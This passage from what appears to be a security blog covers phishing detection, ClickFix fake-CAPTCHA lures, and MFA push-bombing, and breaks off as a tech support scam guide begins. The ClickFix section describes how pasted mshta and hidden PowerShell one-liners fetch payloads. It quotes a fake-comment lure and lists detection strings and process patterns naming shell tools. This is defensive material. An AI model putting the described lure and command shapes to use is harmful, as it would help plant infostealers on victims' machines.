analyzing a threat. **"The padlock in the browser means the site is safe."** The padlock means the connection is encrypted, nothing more. Phishing sites routinely obtain valid certificates, so they show the same padlock as the real site. It confirms transport security, not identity. **"If the email passed spam filters and shows authentication as passing, it is legitimate."** Attackers register their own lookalike domains and set up valid SPF, DKIM, and DMARC for those domains. The email authenticates correctly, for the wrong domain. Passing authentication tells you the sending domain is real, it does not tell you the sending domain is the brand it claims to be. ## Detection signals: what to actually check Since the polish of a message is no longer a reliable signal, the durable checks focus on the source and the request rather than the presentation. **The registerable domain, read from the right.** In a link or sender address, the meaningful part is the registerable domain, the label immediately to the left of the top-level domain. In `paypal.com.account-verify.net`, the registerable domain is `account-verify.net`, and the `paypal.com` at the front is decoration. Read domains from the right, not the left. **A mismatch between the request and the channel.** Legitimate organizations rarely demand a password, a code, or an urgent payment through an unexpected email or text with a link. A request that combines urgency, a sensitive action, and a supplied link or phone number is the shape of an attack regardless of how professional it looks. **Any message that supplies its own contact path.** An attacker gives you the link to click and the number to call because those lead back to them. The countermeasure is to reach the organization through a path you already have, the app, a bookmark, or a number from the back of your card, never the one in the message. **A code you never requested.** A verification code arriving out of nowhere, followed by a message asking you to share it or click to "cancel" it, is a relay attempt. Codes are secrets to enter into the real site you opened, never to read back to anyone. **A password manager that declines to autofill.** A password manager binds saved credentials to the real domain. When it does not offer to fill on a page that looks like your bank, treat that silence as a warning that the domain does not match, because the manager is not fooled by visual copies. ## How phishing has evolved Phishing began as crude, high-volume email that leaned on obvious lures and slipped past unsophisticated filters through sheer numbers. As email authentication and gateway filtering improved, and as users learned the classic tells, attackers adapted along several axes at once. They moved channels. Email is still central, but text messages, phone calls, messaging apps, and QR codes now carry lures into places that lack email-grade filtering and where URLs are harder to inspect. They moved up the value chain, investing research time in spear phishing and business email compromise, where a single well-targeted message against a finance approver can be worth millions. They defeated the second factor, building adversary-in-the-middle proxies that relay one-time codes in real time, which turned the widespread adoption of app-based and SMS-based two-factor into a smaller obstacle than it appeared. And they industrialized the supply, selling ready-made kits and proxy configurations that let a low-skill operator run a convincing campaign for the price of a registration fee. The defensive story followed the same curve. Domain-based authentication with a rejecting policy closed off direct domain impersonation. Phishing-resistant authentication, hardware keys and passkeys, closed off credential relay by binding the credential to the real domain. Click-time link inspection, attachment detonation, and QR extraction closed off older delivery tricks. The pattern across the whole history is that each defensive advance narrows one path and pushes attackers toward the next, which is why the current frontier sits at multi-channel delivery, deepfake-assisted pretexts, and real-time proxies rather than the misspelled emails of a decade ago. The one constant is the target: a human under time pressure being asked to act. ## Frequently asked questions **Does two-factor authentication stop phishing?** Not all of it. Codes from SMS or an authenticator app can be relayed in real time by an adversary-in-the-middle proxy that forwards both your password and your code to the real site. Hardware security keys and passkeys are the exception, because they sign a challenge bound to the genuine domain, so a credential presented to a lookalike site does not work. For accounts that matter, use a phishing-resistant factor rather than a code. **How can I tell a phishing site from the real one if it looks identical?** Trust the domain and your tools rather than the appearance. Read the registerable domain from the right of the address, reach the site through a path you already have rather than a supplied link, and rely on your password manager declining to autofill on a domain that does not match. A pixel-perfect copy is easy, a matching domain and a fooled credential manager are not. **What is business email compromise, and why is it so costly?** Business email compromise is phishing aimed at financial theft, where an attacker impersonates an executive, a vendor, or a lawyer to redirect a wire transfer or change payment details. It is costly because it targets people authorized to move large sums and relies on urgency and authority rather than malware, so it slips past technical defenses. The control that stops it is out-of-band verification of payment changes, enforced with no exceptions for urgency. **Why does DMARC need to be set to reject?** SPF and DKIM check whether a message was sent by an authorized server and signed by a domain, but on their own they do not tie that result to the visible From address, and a monitoring-only DMARC policy takes no action on failures. Setting DMARC to reject instructs receivers to drop messages that fail alignment with your domain, which is what actually prevents your domain from being impersonated. A record set to monitoring only provides reporting without protection. **Is a suspicious QR code really a phishing risk?** Yes. QR code phishing hides the destination URL inside an image, which older email filters cannot inspect, so the link bypasses URL detonation and rewriting. The QR code resolves to a phishing portal exactly like a pasted link would. Treat a QR code that asks for urgent action, especially one requesting authentication, with the same suspicion as an unexpected link, and reach the service through a known path instead. **What should I do if I think I already entered credentials on a phishing site?** Act quickly. Change the password on the affected account from a device and path you trust, and change it anywhere you reused it. Sign out active sessions if the service allows it, enable a phishing-resistant second factor, and watch the account for unauthorized changes. If it is a work account, report it to your security team immediately, since fast containment limits how far an attacker can move with the stolen access. **Are individuals or organizations the harder target to defend?** They fail differently. Individuals lack email gateways and centralized policy, so channel awareness and phishing-resistant authentication carry most of the weight. Organizations can deploy DMARC, click-time inspection, and hardware keys, and they present larger, more researched targets for spear phishing and business email compromise. The shared defense is the same protocol on both sides: verify the source through a known path, and confirm sensitive requests out of band. ## Related guides - [The Social Engineering Playbook](/social-engineering-playbook) - [AI-Powered Phishing Attacks](/ai-phishing-attacks) - [Email Security Guide](/email-security-guide) - [How to Set Up Two-Factor Authentication](/two-factor-authentication-guide) - [Best Secure & Encrypted Email Providers](/best-secure-email) Most attacks above start with data already sitting on people-search and broker sites. **[MyDataRemoval](/ref/mydataremoval)** wipes your phone, email, and home address from 200+ broker sites and keeps re-checking every month. *This links to the vendor's own page and earns us nothing today.* ### Sources - CISA: Phishing Guidance: Stopping the Attack Cycle at Phase One (CISA): https://www.cisa.gov/resources-tools/resources/phishing-guidance-stopping-attack-cycle-phase-one - FTC: How to Recognize and Avoid Phishing Scams (FTC): https://consumer.ftc.gov/articles/how-recognize-and-avoid-phishing-scams - NIST SP 800-177 Rev 1: Trustworthy Email (NIST): https://csrc.nist.gov/publications/detail/sp/800-177/rev-1/final --- # Category: social-engineering ## ClickFix Attacks Explained: The Fake CAPTCHA That Runs Malware > How ClickFix fake CAPTCHA and 'press Win+R, paste' lures work, the macOS and FileFix variants, their payloads, and how to detect and block them. - URL: https://blog.pwnsy.com/clickfix-attacks-explained - Date: 2026-10-02 - Updated: 2026-10-02 - Difficulty: intermediate - Category: social-engineering - Tags: clickfix, social-engineering, infostealer, powershell, detection-engineering - Related: [How Dark Web Monitoring Works: Sources, Alerts and Limits](https://blog.pwnsy.com/how-dark-web-monitoring-works), [MFA Fatigue Attacks Explained: How Push Bombing Works](https://blog.pwnsy.com/mfa-fatigue-attacks-explained), [MGM and Caesars: One Crew, Two Help Desks, Two Answers](https://blog.pwnsy.com/mgm-caesars-attack-explained) ### TL;DR - ClickFix is a social engineering technique: a web page shows a fake CAPTCHA or error, silently copies a malicious command to your clipboard, and tells you to paste it into the Windows Run box, PowerShell or a Mac Terminal. - Because the victim runs the command themselves, no exploit, attachment or download prompt is involved, which is why email filters and browser warnings miss it. - Payloads are mostly infostealers such as Lumma, plus remote access trojans and loaders. On macOS the common payload is Atomic Stealer (AMOS). - Detection keys on the Run dialog history in the RunMRU registry key and on explorer.exe or a browser spawning PowerShell, mshta or cmd. Blocking the Run dialog for ordinary users removes the most common path. ### Key Takeaways - Proofpoint named the technique in 2024 after seeing it in TA571 and ClearFake campaigns; Microsoft first observed it between March and June 2024. - Microsoft's Digital Defense Report 2025 says ClickFix was the most common initial access method in its Defender Experts notifications, at 47%. - The lure always asks the user to press a key combination and paste. No legitimate CAPTCHA or website fix ever asks you to do that. - FileFix moves the paste into the File Explorer address bar, so the command launches from the browser process instead of explorer.exe. - Defences stack: disable Win+R for non-admins via Group Policy, enforce PowerShell Constrained Language Mode with application control, log PowerShell script blocks, and train users on the one cue that matters. A page asks you to prove you are human. Instead of picking traffic lights, it shows three steps: press the Windows key and R, press Ctrl+V, press Enter. It looks like an odd new verification flow. What you have just done is paste a PowerShell command into the Windows Run dialog and execute it, and an infostealer is now copying your saved passwords. That is ClickFix. It needs no exploit and no file download prompt. The user does the execution, which is why it spread so quickly. ## Where ClickFix came from Proofpoint named the technique in June 2024 in a report titled *From Clipboard to Compromise: A PowerShell Self-Pwn*. Its researchers saw it used by TA571, an initial access broker sending phishing email, and by the ClearFake cluster, which injects fake browser update pages into compromised websites. The early lures were fake error messages for Chrome, Word and OneDrive with a "How to fix" button. Proofpoint noted the lure "provides both the problem and a solution so that a viewer may take prompt action without pausing to consider the risk." Microsoft Threat Intelligence says it first observed the technique between March and June 2024 and that ClickFix now targets "thousands of enterprise and end-user devices globally every day". In its Digital Defense Report 2025, Microsoft states ClickFix was the most common initial access method in Defender Experts notifications over the year, accounting for 47% of attacks, ahead of phishing at 35%. MITRE ATT&CK tracks the behaviour as [User Execution: Malicious Copy and Paste (T1204.004)](https://attack.mitre.org/techniques/T1204/004/). ## How a ClickFix attack works, step by step 1. **Delivery.** The victim lands on the lure page through a phishing email, a malicious ad, a poisoned search result or a compromised legitimate site. Sekoia documented a framework it calls IClickFix that injected the lure into more than 3,800 compromised WordPress sites and delivered NetSupport RAT. 2. **The lure.** The page imitates something familiar: a reCAPTCHA or Cloudflare Turnstile check, a "document failed to load" error, a Booking.com verification. 3. **Clipboard hijack.** When the victim clicks "I'm not a robot" or "Fix", JavaScript on the page writes a command to the clipboard. Browsers allow this after a user click, and legitimate sites use the same feature for "copy code" buttons, so nothing warns the user. 4. **Instructions.** The page tells the user to press Win+R (or open PowerShell or Terminal), paste and press Enter. Many lures add a comment to the end of the command, such as `# I am not a robot - reCAPTCHA Verification ID: 1234`, so the visible part of the Run box looks harmless. 5. **Execution.** The pasted one-liner runs with the user's rights. Common forms call `mshta` with a remote URL, or `powershell` with a hidden window and an encoded or obfuscated string that downloads the next stage. 6. **Payload.** The downloaded stage installs the real malware, often through a chain of loaders, and the infostealer starts harvesting. No real CAPTCHA, website or IT fix will ever ask you to press a key combination and paste something into Run, PowerShell, Terminal or a file path box. If a web page asks you to do that, close it. This one rule covers ClickFix, its macOS form and FileFix. ### The macOS variant In June 2025 Microsoft reported ClickFix campaigns targeting macOS that delivered variants of Atomic macOS Stealer (AMOS). The lure tells the user to open Terminal and paste a shell one-liner. It fetches a script that prompts for the user's password, and the stealer uses that password to harvest credentials and crypto wallet data. The rest of the logic is the same: the user runs the command, so Gatekeeper's checks on downloaded apps never come into play. ### FileFix In June 2025 the researcher mr.d0x published FileFix, a variant that uses the File Explorer address bar instead of the Run dialog. The page opens a real file upload window and asks the user to paste a "file path" into its address bar. The pasted text is a PowerShell command followed by a comment containing a fake path, so only the path shows in the box. mr.d0x observed that the command is spawned by a browser process, and recommended watching browsers for child processes like `cmd.exe`, `powershell.exe` and `mshta.exe`. FileFix matters for defenders because blocking Win+R alone does not stop it. ## Common lure themes The wording changes from campaign to campaign. The request at the end stays the same. | Lure | What the page claims | Seen in | |---|---|---| | Fake CAPTCHA | "Verify you are human" with Win+R steps | Microsoft, Sekoia (fake Cloudflare Turnstile) | | Fake browser or document error | A Chrome, Word or OneDrive page failed to load and needs a fix | Proofpoint | | Missing extension | "'Word Online' extension is not installed" with a How to fix button | Proofpoint | | Brand impersonation | A hotel booking or account verification step | Microsoft (Booking.com phishing campaign) | | File upload or shared document | Paste a "file path" to open a shared file | mr.d0x (FileFix) | Lures that arrive by email often target a role. Microsoft's Booking.com campaign went after hospitality staff who expect messages from guests and booking platforms, which made a verification step look routine. ## Why it gets past defences | Defence | Why ClickFix slips past | |---|---| | Email attachment scanning | There may be no attachment, only a link to a web page | | Browser download warnings | Nothing is downloaded by the browser; the command fetches it | | Mark-of-the-Web and SmartScreen | The initial command is typed by the user, so no file carries the web origin mark | | Exploit protection | No vulnerability is used | | User suspicion of .exe files | The user never sees an executable, only a "verification step" | Microsoft summarises it as a technique that "tricks users into executing malicious code themselves, bypassing traditional phishing protections." The defences that work are the ones that act at execution time or limit what a user can run. ## What the payloads are Researchers have tied ClickFix to a wide range of malware. | Family | Type | Reported by | |---|---|---| | Lumma Stealer | Infostealer | Microsoft (most prolific), Proofpoint | | Vidar | Infostealer | Proofpoint | | Atomic macOS Stealer (AMOS) | macOS infostealer | Microsoft | | DarkGate, NetSupport RAT | Loader, remote access trojan | Proofpoint, Sekoia (NetSupport) | | Xworm, AsyncRAT | Remote access trojans | Microsoft | | Latrodectus, MintsLoader | Loaders | Microsoft | | Matanbuchus, Amadey | Loaders | Proofpoint | Infostealers dominate because they pay off immediately: one run collects saved passwords, cookies and wallets, which feed the [stealer-log economy](/what-is-an-infostealer). Remote access trojans give hands-on access for later intrusion. Some campaigns end in ransomware after a broker resells the foothold. ## How to detect ClickFix ClickFix leaves a short, distinctive trail. **The RunMRU registry key.** Commands typed or pasted into the Run dialog are stored per user in `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU`. Microsoft points to this key as a forensic record. Values containing `powershell`, `mshta`, `curl`, `http`, `-enc` or a `#` comment followed by "verification" or "captcha" text are strong signals. Hunt across endpoints for those strings. **Process lineage.** A command launched from the Run dialog has `explorer.exe` as its parent. Alert on `explorer.exe` spawning `powershell.exe`, `pwsh.exe`, `mshta.exe`, `cmd.exe` or `rundll32.exe` with network arguments or encoded content. For FileFix, alert on browser processes (`chrome.exe`, `msedge.exe`, `firefox.exe`) spawning the same tools. **PowerShell logging.** Turn on script block logging (Event ID 4104) and module logging. Even obfuscated one-liners are recorded after deobfuscation. Our [Windows event IDs guide](/windows-event-ids-for-security) lists the events to collect. **Network.** The first stage reaches out within seconds of the paste. Short-lived domains, raw IP addresses and `mshta` making HTTP requests are all worth alerting on. **EDR rules.** Most EDR products now ship ClickFix detections built on the lineage pattern above. Check that yours covers `mshta`, which many older rules missed, and test with a harmless pasted command. Query your EDR or registry telemetry for RunMRU values that contain "powershell" or "mshta" together with "http". Ordinary users almost never type those into Run, so every hit deserves a look, and a hit followed by a new outbound connection is very likely an infection. ## How to defend against ClickFix 1. **Disable the Run dialog for non-admins.** Microsoft recommends the Group Policy setting under User Configuration > Administrative Templates > Start Menu and Taskbar ("Remove Run menu from Start Menu"), which also disables Win+R. Most staff never need it. 2. **Restrict PowerShell for ordinary users.** Enforce Constrained Language Mode through App Control for Business (WDAC) or AppLocker. It blocks the .NET calls and `Add-Type` use that most download cradles depend on. Where you can, block PowerShell entirely for user groups that have no use for it. 3. **Block or restrict `mshta.exe`.** Few environments need HTML Applications. Application control rules or attack surface reduction rules can stop it. Our [living off the land guide](/living-off-the-land-explained) covers why these built-in binaries are abused. 4. **Turn on PowerShell script block logging** and send it to your [SIEM](/what-is-a-siem). 5. **Use web and network protection.** Microsoft recommends Defender network protection and web protection, and safe links and attachments policies in Defender for Office 365, to cut off the lure pages and the payload hosts. 6. **Train on the cue.** Teach staff that no verification or fix ever asks them to paste into Run, PowerShell, Terminal or a file path box. Add a fake CAPTCHA page to your phishing simulations. 7. **Treat a hit as a credential compromise.** If a ClickFix payload ran, assume the stealer took saved passwords and cookies. Isolate the device, then reset passwords and revoke sessions from a clean machine. If someone tells you they followed the steps on one of these pages, act within minutes. Disconnect the machine from the network, record the RunMRU value and the page URL, and reset passwords for email, SSO and banking from a different device. Then revoke active sessions with the [session kill switch](https://pwnsy.com/tools/session-kill-switch/), because stealer payloads take cookies as well as passwords. For broader context on how these lures fit into social engineering, see our [social engineering playbook](/social-engineering-playbook). ## Related guides - [What Is an Infostealer](/what-is-an-infostealer) - [Social Engineering Playbook](/social-engineering-playbook) - [What Is Phishing](/what-is-phishing) - [Living Off the Land Explained](/living-off-the-land-explained) - [What Is Fileless Malware](/what-is-fileless-malware) - [What Is a RAT](/what-is-a-rat) - [Windows Event IDs for Security](/windows-event-ids-for-security) - [Session Hijacking Explained](/session-hijacking-explained) ### Sources - Think before you Click(Fix): Analyzing the ClickFix social engineering technique (Microsoft Threat Intelligence): https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/ - From Clipboard to Compromise: A PowerShell Self-Pwn (Proofpoint): https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn - Microsoft Digital Defense Report 2025 (Microsoft): https://www.microsoft.com/en-us/corporate-responsibility/topics/cybersecurity/reports/microsoft-digital-defense-report/ - FileFix: A ClickFix Alternative (mr.d0x): https://mrd0x.com/filefix-clickfix-alternative/ - Meet IClickFix: a widespread WordPress-targeting framework using the ClickFix tactic (Sekoia TDR): https://blog.sekoia.io/meet-iclickfix-a-widespread-wordpress-targeting-framework-using-the-clickfix-tactic/ - MITRE ATT&CK: User Execution: Malicious Copy and Paste (T1204.004) (MITRE): https://attack.mitre.org/techniques/T1204/004/ --- ## MFA Fatigue Attacks Explained: How Push Bombing Works > How MFA fatigue and push bombing turn a stolen password into access, the Uber and Cisco cases, and the settings and detections that stop it. - URL: https://blog.pwnsy.com/mfa-fatigue-attacks-explained - Date: 2026-10-02 - Updated: 2026-10-02 - Difficulty: beginner - Category: social-engineering - Tags: mfa-fatigue, push-bombing, mfa, social-engineering, account-takeover - Related: [ClickFix Attacks Explained: The Fake CAPTCHA That Runs Malware](https://blog.pwnsy.com/clickfix-attacks-explained), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained), [MGM and Caesars: One Crew, Two Help Desks, Two Answers](https://blog.pwnsy.com/mgm-caesars-attack-explained) ### TL;DR - MFA fatigue, also called push bombing, starts with a valid password. The attacker triggers sign-in after sign-in so the victim's phone fills with approval prompts, hoping one gets accepted. - The prompts are usually paired with social engineering: a message or call from someone posing as IT who says approving will make the alerts stop. - Uber and Cisco were both breached this way in 2022. Microsoft documented the same playbook in its analysis of the Lapsus$ group. - Number matching removes blind approvals, which is why Microsoft made it mandatory for Authenticator push. Phishing-resistant MFA, prompt limits and alerts on repeated denials close the rest. ### Key Takeaways - MITRE ATT&CK catalogues the technique as T1621, Multi-Factor Authentication Request Generation, covering push notifications, SMS and phone calls. - Microsoft's 2022 report on DEV-0537 (Lapsus$) described the group spamming users with MFA prompts and calling help desks to reset credentials. - Cisco Talos reported that its 2022 intruder used voice phishing and repeated push requests until an employee accepted, then enrolled new devices for MFA. - CISA recommends number matching as an interim mitigation for organisations that cannot yet deploy phishing-resistant MFA. - A run of denied prompts followed by one approval is among the clearest signals an identity provider produces, and it should page someone. Push notification MFA was designed to be easy: a prompt appears, you tap Approve, you are in. MFA fatigue attacks turn that ease against the user. An attacker who already has the password starts the login over and over, and the victim's phone keeps buzzing until, out of irritation, confusion or misplaced trust, someone taps Approve. The technique needs no malware and no exploit. It needs a password and patience, which is why it featured in several of the most visible breaches of 2022. This guide covers how it works, the cases that defined it, and the configuration changes that make it stop working. ## How an MFA fatigue attack works MITRE ATT&CK catalogues the technique as T1621, Multi-Factor Authentication Request Generation. Its description: adversaries "may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account." CISA's fact sheet calls the same thing push bombing. The attack runs in four stages. 1. **Get a valid password.** Common sources are infostealer logs, credential reuse from older breaches, or a phishing page. Uber said its attacker likely bought a contractor's password after malware infected the contractor's personal device. 2. **Trigger prompts repeatedly.** Each sign-in attempt sends a push to the victim's phone. Attackers send them in bursts, late at night, or spread through a working day. 3. **Add a story.** A message or call from someone claiming to be IT explains the prompts and asks the victim to approve one so the "glitch" stops. 4. **Lock in access.** After one approval, the attacker often registers a new MFA device of their own so they no longer need the victim. Some variants skip the flood entirely and rely on a single well-timed prompt plus a convincing call. MITRE notes the same approach works with SMS codes and phone-call verification. ### Why it works Each prompt looks identical, carries no information about who started it, and asks for one tap. A person who has been woken repeatedly, or who has just been told by "IT" that approving fixes the problem, has every reason to tap. The victim is acting on a plausible explanation for what they are seeing. Uber's account says the contractor received approval requests that initially blocked access and "eventually, however, the contractor accepted one." Configuration often helps the attacker. Many deployments allow unlimited prompts, never alert on repeated denials, and accept a simple Approve with no context. Those are settings, and each can be changed. ## Notable cases **Lapsus$, 2021 and 2022.** In March 2022 Microsoft published an analysis of the group it tracked as DEV-0537, better known as Lapsus$. It described the group "using stolen passwords to trigger simple-approval MFA prompts," "spamming a target user with multifactor authentication (MFA) prompts and calling the organization's help desk to reset a target's credentials," and paying employees or contractors to approve prompts. Microsoft's recommendation was to use FIDO tokens or Microsoft Authenticator with number matching, and to avoid "simple push." **Cisco, May 2022.** Cisco became aware of the compromise on 24 May 2022. Talos reported that an employee's credentials were taken from a personal Google account that was syncing passwords saved in the browser. The attacker then ran voice phishing calls, in English "with various international accents and dialects," posing as support organisations the user trusted, alongside MFA fatigue. Once the employee accepted a push, the attacker "enrolled a series of new devices for MFA and authenticated successfully to the Cisco VPN." Cisco attributed the activity with moderate to high confidence to an initial access broker with ties to UNC2447, Lapsus$ and Yanluowang ransomware operators, and said it removed the intruder. **Uber, September 2022.** An external contractor's account received repeated approval requests until one was accepted, and Uber attributed the attacker to Lapsus$. The full chain, including the WhatsApp message posing as IT and the admin credentials found on a network share, is in our [Uber 2022 breach analysis](/uber-2022-breach-explained). | Case | How the password was obtained | How the approval was obtained | What followed | |---|---|---|---| | Lapsus$ (Microsoft, 2022) | Purchased credentials, paid insiders | Prompt spam, help desk calls | Data theft and extortion | | Cisco (Talos, 2022) | Browser-synced passwords in a personal Google account | Voice phishing plus repeated push | New MFA devices enrolled, VPN access | | Uber (2022) | Likely bought after malware on a personal device | Repeated push plus a message posing as IT | Internal network access and privilege escalation | MFA fatigue needs the password in advance and asks the victim to approve a prompt they did not start. Adversary-in-the-middle phishing collects the password and the approval during a sign-in the victim believes is their own. Number matching helps against the first and does little against the second. See [AitM Phishing Explained](/aitm-phishing-explained). ## Defenses that work ### Number matching Number matching shows a number on the sign-in screen and requires the user to enter it in the authenticator app. A victim who did not start the sign-in cannot see the number, so a stream of blind prompts becomes useless. CISA describes it as one of the best interim mitigations for organisations that cannot yet deploy phishing-resistant MFA, while noting it is weaker than phishing-resistant MFA. Microsoft enforced number matching for all Microsoft Authenticator push notifications from May 2023. Its documentation now states that number matching is enabled for all Authenticator push notifications and that users cannot opt out. Other vendors offer equivalents: | Platform | Setting | Options | |---|---|---| | Microsoft Entra ID | Number matching in Authenticator push | Always on; app name and location context can be added | | Okta | Number challenge for Okta Verify | Never, only for high-risk sign-ins, or all push challenges | | Cisco Duo | Verified Duo Push | User enters a 3 to 6 digit code from the login screen; 6 digits meets NIST AAL2 | Number matching has a limit. An attacker on the phone with the victim can read the number aloud and ask them to type it. That is why the social engineering half of the attack still matters. ### Phishing-resistant MFA FIDO2 security keys and passkeys remove the prompt entirely. The user authenticates on the device in front of them, and the credential is bound to the real site, so there is nothing for a remote attacker to request and nothing for a tired person to approve. Duo's guide lists platform authenticators, FIDO2 security keys and Duo Push with Bluetooth proximity verification as its phishing-resistant options. [Passkeys Explained](/passkeys-explained) and the [two-factor authentication guide](/two-factor-authentication-guide) compare the methods. ### Limits, context and reporting - **Rate limit prompts.** Cap push requests per user per time window, then require a different method or block the sign-in. - **Show context.** Display the application and approximate location in the prompt so users can spot a request from a city they are not in. - **Make denial easy to report.** Microsoft Entra's Report suspicious activity feature lets a user deny a prompt and flag it, which creates a "User reported suspicious activity" risk detection. - **Harden the help desk.** Lapsus$ called help desks to reset credentials and MFA. Require strong identity verification before any MFA reset, and alert when an MFA method is added soon after a reset. ## Common misconceptions **"Any MFA stops account takeover."** Push approval protects against an attacker who has only a password and no way to reach the user. Once the attacker can generate prompts and talk to the victim, the factor depends on a human decision made under pressure. **"Only careless users fall for it."** The Cisco employee received calls from people posing as trusted support staff, and the Uber contractor was told the prompts were part of a fix. Both acted on a believable explanation. **"Number matching solves it."** Number matching ends blind approvals. A caller who can see the sign-in screen can still read the number to the victim, and it offers little against proxy phishing. ## Detection signals - **Bursts of push requests** for one user, especially outside working hours. MITRE's guidance is to monitor for "excessive or anomalous MFA push notifications or token requests." - **Several denials followed by an approval.** This sequence is the attack's signature. - **Sign-in attempts from a location unrelated to the approving phone.** Microsoft Entra's "Suspicious MFA authentication approval" detection compares the location of the requesting and approving devices and marks matching sign-ins as high risk. - **A new MFA device registered shortly after a risky approval**, as in the Cisco intrusion. - **Password-correct, MFA-failed events** at volume, which show the attacker already has the password even if no prompt has been accepted yet. ## How to defend against MFA fatigue ### For organisations 1. **Turn on number matching or its equivalent** for every push-based method, including legacy paths such as VPN and RADIUS integrations. 2. **Move privileged and high-risk users to FIDO2 keys or passkeys** and remove push as a fallback for them. 3. **Rate limit prompts and alert on repeated denials**, routing the alert to the SOC with the source IP of the sign-in attempts. 4. **Treat any accepted-after-denials event as a compromise.** Revoke sessions, reset the password, and review MFA registrations made in the past day. 5. **Tell staff that IT will never ask them to approve a prompt.** Give them a single, fast way to report unexpected prompts. ### For individuals 1. **Never approve a prompt you did not start**, whatever a caller or message says. 2. **Treat unexpected prompts as proof your password is known.** Change it from a clean device and review active sessions; the [session kill switch](https://pwnsy.com/tools/session-kill-switch/) lists where to sign out everywhere on each major platform. 3. **Switch to a passkey or security key** wherever the service offers one. ## Related guides - [Two-Factor Authentication Guide](/two-factor-authentication-guide) - [The Uber 2022 Breach](/uber-2022-breach-explained) - [AitM Phishing Explained](/aitm-phishing-explained) - [Session Hijacking Explained](/session-hijacking-explained) - [Passkeys Explained](/passkeys-explained) - [Social Engineering Playbook](/social-engineering-playbook) - [Okta Breaches Explained](/okta-breaches-explained) ### Sources - Multi-Factor Authentication Request Generation, Technique T1621 (MITRE ATT&CK): https://attack.mitre.org/techniques/T1621/ - Implementing Number Matching in MFA Applications (CISA): https://www.cisa.gov/sites/default/files/publications/fact-sheet-implement-number-matching-in-mfa-applications-508c.pdf - DEV-0537 criminal actor targeting organizations for data exfiltration and destruction (Microsoft Threat Intelligence): https://www.microsoft.com/en-us/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/ - Security update (Uber): https://www.uber.com/newsroom/security-update/ - Cisco Talos shares insights related to recent cyber attack on Cisco (Cisco Talos): https://blog.talosintelligence.com/recent-cyber-attack/ - How number matching works in MFA push notifications for Authenticator (Microsoft Learn): https://learn.microsoft.com/en-us/entra/identity/authentication/how-to-mfa-number-match - What are risk detections? Microsoft Entra ID Protection (Microsoft Learn): https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks - Configure Okta Verify options (Okta): https://help.okta.com/oie/en-us/content/topics/identity-engine/authenticators/configure-okta-verify-options.htm - Authentication Methods Security Guide (Cisco Duo): https://duo.com/docs/authentication-methods-security-guide --- ## Tech Support Scams Explained: The Popup, the Call, the Refund > How tech support scams work: browser lockers and fake alerts, the remote access session, the refund overpayment trick, and exactly what to do if you already let someone in. - URL: https://blog.pwnsy.com/tech-support-scams-explained - Date: 2026-08-25 - Updated: 2026-08-25 - Difficulty: beginner - Category: social-engineering - Tags: scams, social-engineering, fraud, scareware, remote-access - Related: [ClickFix Attacks Explained: The Fake CAPTCHA That Runs Malware](https://blog.pwnsy.com/clickfix-attacks-explained), [MFA Fatigue Attacks Explained: How Push Bombing Works](https://blog.pwnsy.com/mfa-fatigue-attacks-explained), [MGM and Caesars: One Crew, Two Help Desks, Two Answers](https://blog.pwnsy.com/mgm-caesars-attack-explained) ### TL;DR - A tech support scam creates an emergency that is not real, supplies a phone number, and uses the call to get remote access to your computer or a payment out of your bank. - The popup is theatre. A web page cannot scan your computer, and no real error message from Microsoft, Apple or your bank has ever included a phone number to call. - The remote access session is the actual attack. Once connected, the caller runs harmless-looking commands that produce alarming output, and can install anything or read anything while you watch. - The refund variant is the expensive one. The scammer appears to overpay a refund, using a page edited in the browser, and asks you to return the difference in gift cards, cash or crypto. ### Key Takeaways - A locked browser is a web page, not a locked computer. End the browser process from Task Manager or Force Quit, then reopen without restoring tabs. - Never install remote access software at the request of someone who contacted you. That single rule prevents almost every version of this scam. - The commands they run, `netstat`, the Event Viewer, `tree`, `assoc`, are ordinary tools chosen because their normal output looks frightening to a non-specialist. - Any request for payment in gift cards, cryptocurrency, wire transfer or cash courier is fraud without exception. No refund, fine or support fee is ever paid that way. - If you granted access: disconnect from the network first, then remove the remote software, then change passwords from a different device, then call your bank. - Report it. Reporting is how repeat infrastructure gets taken down, and in some cases how money gets recovered if you act within hours. ### FAQ **Q: How does a tech support scam start?** Usually with a full-screen browser popup claiming your computer is infected or locked, showing a support number. Sometimes it is a cold call claiming to be from Microsoft, Apple, your internet provider or your bank. Sometimes it is an emailed invoice for a subscription you never bought, with a number to call to cancel, which is the version that puts you on the phone believing you initiated the contact. **Q: Can a website tell if my computer has a virus?** No. A web page can see your browser type, your approximate location from your IP address, your screen size and similar basic details, all of which the scam page displays back to you to look authoritative. It cannot scan your files, read your antivirus status or detect malware. Every popup claiming to have found infections is displaying a static image or animation. **Q: What do I do if my browser is stuck on a warning page?** The page is using full-screen mode and repeated dialogs to prevent closing. On Windows, open Task Manager with Ctrl+Shift+Esc and end the browser process. On a Mac, use Cmd+Option+Esc and force quit. Then reopen the browser and decline to restore the previous session, because restoring reopens the page. Nothing is infected and nothing needs to be paid. **Q: I let someone connect to my computer. What now?** Disconnect from the internet immediately, which ends their session. Uninstall the remote access software they had you install. From a different device, change the passwords for your email and banking first, then everything else, and enable two-factor authentication. Call your bank on the number printed on your card and tell them what happened. Then have the computer checked or reinstalled, because you cannot verify what was left behind. **Q: Why do scammers ask for gift cards?** Because gift cards are irreversible, easy to convert, and can be used the moment the numbers are read aloud over the phone. Cryptocurrency and wire transfers serve the same purpose. No legitimate organisation on earth accepts gift cards for a support fee, a refund correction, a fine or a tax bill, which makes the request itself a complete diagnosis. **Q: Who do these scams target?** Anyone, with a strong bias toward older people. The FBI's Internet Crime Complaint Center consistently reports tech support fraud among the highest-loss categories for victims over 60, with annual reported losses in the hundreds of millions of dollars, and reported figures understate the total because most victims never report. A tech support scam is a piece of theatre with three acts. Something alarming appears. A helpful person answers the number on screen. By the end of the call the helpful person is inside your computer, your bank account, or both. None of the technical parts are sophisticated. The popup is a web page. The diagnostic commands are ordinary Windows utilities. The remote access software is a legitimate commercial product. What does the work is the pressure: a manufactured emergency, an authority to defer to, and a fix that must happen right now. This guide covers each act, the variants, and precisely what to do if it has already happened. Scope: [What Is 